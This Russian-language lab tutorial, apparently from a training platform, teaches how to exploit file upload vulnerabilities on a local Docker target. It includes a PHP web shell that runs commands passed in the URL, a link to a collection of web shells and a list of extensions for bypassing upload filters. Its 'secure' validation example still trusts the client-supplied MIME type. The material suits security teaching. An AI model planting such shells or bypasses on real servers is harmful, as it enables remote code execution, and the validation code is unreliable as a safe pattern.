Эксплуатация уязвимостей загрузки файлов с помощью Nmap

NmapBeginner
Практиковаться сейчас

Введение

Эта лабораторная работа посвящена уязвимостям, связанным с загрузкой файлов, что является распространенной проблемой безопасности в веб-приложениях. Вы узнаете, как выявлять эти уязвимости, понимать их потенциальное воздействие и изучите методы их эксплуатации. Лабораторная работа предоставляет практический опыт с реальными примерами, что позволит вам лучше понять концепции безопасности веб-приложений и защитные меры.

Понимание уязвимостей загрузки файлов

Уязвимости, связанные с загрузкой файлов, возникают, когда веб-приложения не могут должным образом проверить загружаемые файлы. Это может позволить злоумышленникам загружать вредоносные файлы, что потенциально может привести к удаленному выполнению кода на сервере (remote code execution).

Рассмотрим типичную реализацию загрузки файлов в PHP с использованием функции move_uploaded_file():

<?php
// The move_uploaded_file() function moves an uploaded file to a new location
// Returns true on success, false on failure
move_uploaded_file($file, $newloc);

Параметры:

  • $file: Загружаемый файл для перемещения
  • $newloc: Путь назначения для файла

Безопасная реализация должна включать надлежащую проверку (validation), как показано в этом примере:

<?php
// Define allowed image extensions
$allowedExts = array("gif", "jpeg", "jpg", "png");
$temp = explode(".", $_FILES["file"]["name"]);
$extension = end($temp);        // Get the file extension

if ((($_FILES["file"]["type"] == "image/gif")
    || ($_FILES["file"]["type"] == "image/jpeg")
    || ($_FILES["file"]["type"] == "image/jpg")
    || ($_FILES["file"]["type"] == "image/pjpeg")
    || ($_FILES["file"]["type"] == "image/x-png")
    || ($_FILES["file"]["type"] == "image/png"))
    && ($_FILES["file"]["size"] < 204800)    // Less than 200 KB
    && in_array($extension, $allowedExts))
{
    if ($_FILES["file"]["error"] > 0)
    {
        echo "Error: " . $_FILES["file"]["error"] . "<br>";
    }
    else
    {
        echo "Uploaded file name: " . $_FILES["file"]["name"] . "<br>";
        echo "File type: " . $_FILES["file"]["type"] . "<br>";
        echo "File size: " . ($_FILES["file"]["size"] / 1024) . " KB<br>";
        echo "Temporary file location: " . $_FILES["file"]["tmp_name"];
    }
}
else
{
    echo "Invalid file format";
}
?>

Этот код демонстрирует несколько важных проверок безопасности:

  • Проверка расширения файла (file extension validation)
  • Проверка MIME-типа (MIME type verification)
  • Ограничение размера файла (file size limitation)
  • Обработка ошибок (error handling)

Без этих проверок злоумышленники могут загружать вредоносные файлы, которые будут выполняться на сервере.

Определение серверного языка

Прежде чем эксплуатировать уязвимость, связанную с загрузкой файлов, крайне важно определить серверный язык, используемый веб-приложением. Эта информация определяет, какой тип файла следует загрузить для успешной эксплуатации.

Сначала настроим нашу лабораторную среду:

docker run -d -p 82:80 --name pentesterlab-WebforPentest-1 -it jewel591/vulnbox:pentesterlab-WebforPentest-1 /bin/sh -c 'service apache2 start && tail -f /var/log/apache2/error.log' && docker exec pentesterlab-WebforPentest-1 chmod 777 /var/www/upload/images

После выполнения этой команды убедитесь, что среда доступна по адресу: http://localhost:82

Методы определения серверного языка:

  1. Расширения файлов в URL (URL File Extensions):

    • Расширения .php указывают на PHP
    • Расширения .asp или .aspx указывают на ASP.NET
    • Расширения .jsp указывают на Java Server Pages
  2. Заголовки сервера (Server Headers):

    • Microsoft IIS обычно работает с ASP.NET
    • Apache или Nginx обычно работают с PHP
    • Apache Tomcat работает с JSP

Вы можете использовать расширение браузера Wappalyzer для автоматического определения веб-сервера и языка программирования:

В нашей лабораторной среде вы должны увидеть:

Web Server: Apache
Backend Language: PHP

Загрузка веб-шелла

Теперь, когда мы определили PHP как серверный язык, мы загрузим PHP веб-шелл для выполнения команд на сервере.

Коллекцию веб-шеллов можно найти здесь:

https://github.com/iSecurity-Club/Pentest-Methodologies/tree/master/web-exploit-exp/fileupload/php
  1. Создайте тестовый файл phpinfo.php в каталоге /home/labex/project:
<?php phpinfo(); ?>
  1. Загрузите файл:

  2. Проверьте загрузку:

  3. Создайте шелл для выполнения команд shell.php:

<?php echo "Shell"; system($_GET['cmd']); ?>
  1. Загрузите и протестируйте шелл:

    • Загрузите shell.php тем же способом
    • Перейдите по адресу http://localhost:82/upload/images/shell.php
    • Вы можете увидеть предупреждающее сообщение (ожидается без параметров)
  2. Выполните команды:

Примечание: Эта лаборатория демонстрирует основные функции веб-шелла. Расширенные темы, такие как обратные шеллы (reverse shells) и повышение привилегий (privilege escalation), рассматриваются в более продвинутых курсах.

Обход серверных ограничений (необязательно)

Некоторые веб-приложения реализуют ограничения на расширения файлов, чтобы предотвратить загрузку вредоносных файлов. В этом разделе рассматриваются методы обхода этих ограничений.

Когда расширения .php заблокированы, попробуйте альтернативные расширения PHP, которые могут быть исполняемыми:

  1. Попробуйте загрузить с расширением .php3:

  2. Если безуспешно, попробуйте расширение .phar:

Распространенные расширения для обхода ограничений, которые стоит попробовать:

  • .php3
  • .php4
  • .php5
  • .phar
  • .phtml

Примечание: Успех зависит от конфигурации сервера. Разные серверы могут разрешать выполнение разных расширений в качестве PHP-кода.

Резюме

Эта лабораторная работа охватывала основные аспекты уязвимостей, связанных с загрузкой файлов (file upload vulnerabilities):

Ключевые концепции:

  • Понимание механизмов уязвимости загрузки файлов
  • Определение серверных языков программирования
  • Загрузка и выполнение веб-шеллов (web shells)
  • Обход ограничений на расширения файлов

Приобретенные технические навыки:

  • Обнаружение серверного языка
  • Создание и развертывание веб-шелла
  • Выполнение команд через загруженные файлы
  • Методы обхода ограничений на расширения

Последствия для безопасности:

  • Влияние недостаточной проверки файлов (file validation)
  • Важность надлежащих ограничений на загрузку
  • Риски выполнения на стороне сервера (server-side execution risks)

Эти базовые знания подготавливают вас к продвинутым темам безопасности веб-приложений, которые рассматриваются в последующих курсах.